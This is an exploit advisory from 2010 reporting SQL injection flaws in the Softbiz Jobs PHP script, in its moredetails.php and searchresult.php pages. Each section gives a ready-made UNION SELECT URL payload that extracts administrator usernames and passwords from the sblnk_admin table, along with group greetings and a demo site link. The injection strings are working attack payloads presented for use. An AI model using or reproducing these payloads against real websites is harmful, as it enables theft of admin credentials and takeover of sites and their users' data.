Softbiz Jobs suffers from remote SQL injection vulnerabilities in searchresult.php and moredetails.php.
9db7ceb7eb9a6f58979a562cc32174a0f0d6d171ef0804fba523f74cfa1f4a69
----------------------------Information------------------------------------------------
+Name : Softbiz Jobs moredetails.php SQL injection
+Autor : Easy Laster
+Date : 23.02.2010
+Script : Softbiz Jobs
+Download : -----
+Demo :https://pricebusterdeals.com/
+Price : 169$
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian.
---------------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/moredetails.php?sblink_id=
+Exploitable : www.site.com/moredetails.php?sblink_id=11111111+
union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,
28,29,30,31,32,33,34,35,36,concat(username,0x3a,password),38,39,40+from+sblnk_admin--
---------------------------------------------------------------------------------------------------------------------Information------------------------------------------------
+Name: Softbiz Jobs searchresult.php SQL injection
+Autor : Easy Laster
+Date : 23.02.2010
+Script : Softbiz Jobs
+Download : -----
+Demo : https://pricebusterdeals.com/
+Price : 169$
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian.
---------------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _____ _ _
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|
|___| |___|
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/searchresult.php?sbcat_id=
+Exploitable : www.site.com/searchresult.php?sbcat_id=-111111111+union+select+1,
concat(username,0x3a,password),3,4+from+sblnk_admin--
-----------------------------------------------------------------------------------------